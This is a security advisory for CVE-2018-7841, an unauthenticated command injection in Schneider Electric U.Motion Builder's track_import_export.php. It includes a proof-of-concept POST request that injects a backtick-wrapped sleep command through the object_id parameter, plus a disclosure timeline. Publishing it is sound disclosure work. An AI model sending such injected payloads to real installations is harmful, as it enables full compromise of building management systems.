Schneider Electric U.Motion Builder 1.3.4 – ‘track_import_export.php object_id’ Unauthenticated Command Injection
RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Schneider Electric U.Motion Builder Vendor URL: www.schneider-electric.com Type: OS Command Injection [CWE-78] Date found: 2018-11-15 Date published: 2019-05-13 CVSSv3 Score: 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CVE: CVE-2018-7841 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Schneider Electric U.Motion Builder 1.3.4 and below 4. INTRODUCTION =============== Comfort, Security and Energy Efficiency – these are the qualities that you as home owner expect from a futureproof building management solution. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The script "track_import_export.php" is vulnerable to an unauthenticated command injection vulnerability when user-supplied input to the HTTP GET/POST parameter "object_id" is processed by the web application. Since the application does not properly validate and sanitize this parameter, it is possible to inject arbitrary commands into a PHP exec call. This is a bypass to the fix implemented for CVE-2018-7765. The following Proof-of-Concept triggers this vulnerability causing a 10 seconds sleep: POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4 Content-Type: application/x-www-form-urlencoded Content-Length: 86 op=export&language=english&interval=1&object_id=`sleep 10` 6. RISK ======= To successfully exploit this vulnerability an unauthenticated attacker must only have network-level access to a vulnerable instance of U.Motion Builder or a product that depends on it. The vulnerability can be used to inject arbitrary OS commands, which leads to the complete compromise of the affected installation. 7. SOLUTION =========== Uninstall/remove the installation. The product has been retired shortly after notifying the vendor about this issue, so no fix will be published. 8. REPORT TIMELINE ================== 2018-11-14: Discovery of the vulnerability 2018-11-14: Tried to notify vendor via their vulnerability report form but unfortunately the form returned some 403 error 2018-11-14: Tried to contact the vendor via Twitter (public tweet and DM) 2018-11-19: No response from vendor 2018-11-20: Tried to contact the vendor via Twitter again 2018-11-20: No response from vendor 2019-01-04: Without further notice the contact form worked again. Sent over the vulnerability details. 2019-01-04: Response from the vendor stating that the affected code is owned by a third-party vendor. Projected completion time is October 2019. 2019-01-10: Scheduled disclosure date is set to 2019-01-22 based on policy. 2019-01-14: Vendor asks to extend the disclosure date to 2019-03-15. 2019-01-15: Agreed on the disclosure extension due to the severity of the issue 2019-02-01: No further reply from vendor. Reminded them of the regular status updates according to the disclosure policy 2019-02-04: Regular status updates from vendor from now on 2019-03-13: Vendor sends draft disclosure notification including assigned CVE-2018-7841. The draft states that the product will be retired and has already been removed from the download portal. A customer notification is published (SEVD-2019-071-02). 2019-03-14: Public disclosure is delayed to give the vendor's customers a chance to remove the product. 2019-05-13: Public disclosure 9. REFERENCES ============= https://www.rcesecurity.com/2019/05/cve-2018-7841-schneider-electric-umotion-builder-remote-code-execution-0-day |